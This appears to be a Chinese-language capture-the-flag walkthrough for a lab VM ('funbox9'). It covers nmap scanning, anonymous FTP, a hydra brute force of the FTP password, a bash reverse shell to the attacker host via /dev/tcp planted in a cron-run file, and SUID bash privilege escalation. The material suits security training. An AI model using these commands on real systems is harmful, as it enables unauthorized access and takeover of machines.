渗透思路:
nmap扫描----ftp匿名访问获取可能的用户名----hydra爆破ftp密码----ftp上传反弹shell,等定时任务执行获得shell----bash suid提权
环境信息:
靶机:192.168.101.54
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.54
扫描到21端口(ftp,并且可以匿名登录)、22端口(ssh)、80端口(http)、3306端口(mysql)
2、匿名访问ftp
先看看ftp里面有啥有用的信息。
浏览器访问ftp://192.168.101.54/,看到有一个welcome.msg,下载下来发现就是命令行登录ftp时候的欢迎语
欢迎语里面有个email,sky@funbox9,其中sky有可能是用户名
3、gobuster扫描(没啥用)
浏览器登录http://192.168.101.54,发现是个包含靶机介绍的apache默认页面
尝试扫描网站目录
gobuster dir -u http://192.168.101.54/ -w /usr/share/wordlists/dirb/big.txt
啥也没扫出来
4、hydra爆破ftp密码
ssh爆破半天没爆出来sky的密码,转而试试ftp密码爆破
hydra -l sky -P "/usr/share/wordlists/metasploit/unix_passwords.txt" ftp://192.168.101.54
sky用户的ftp密码是thebest
5、ftp上传反弹shell,等待定时任务执行获得shell
以用户名sky密码thebest登录靶机ftp
ls
查看当前目录下文件,发现有个user.flag文件。
get user.flag
下载user.flag到攻击机。
在攻击机上查看user.flag的内容,发现似乎是个shell脚本。
结合上图中sky用户对user.flag有写和执行的权限,如果可以修改该文件内容为反弹shell,然后上传到靶机上覆盖原来的文件,并执行,就可以获得靶机shell。
网上找了一圈没发现用ftp执行shell脚本的方法,那就只能祈祷执行user.flag是个定时任务了。
在攻击机上修改user.flag的内容
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/6666 <&1'" >> user.flag
攻击机上nc监听6666端口
nc -nlvp 6666
上传攻击机上的user.flag到靶机并覆盖靶机上原来的user.flag文件
put user.flag
文件上传成功后,攻击机上很快就得到了靶机sarah用户的shell
6、bash suid提权
这个靶机提权太简单了
检查有suid的命令
find / -user root -perm /4000 2>/dev/null
发现其中包含/bin/bash
输入以下命令提权
bash -p
在/root/目录下找到root.flag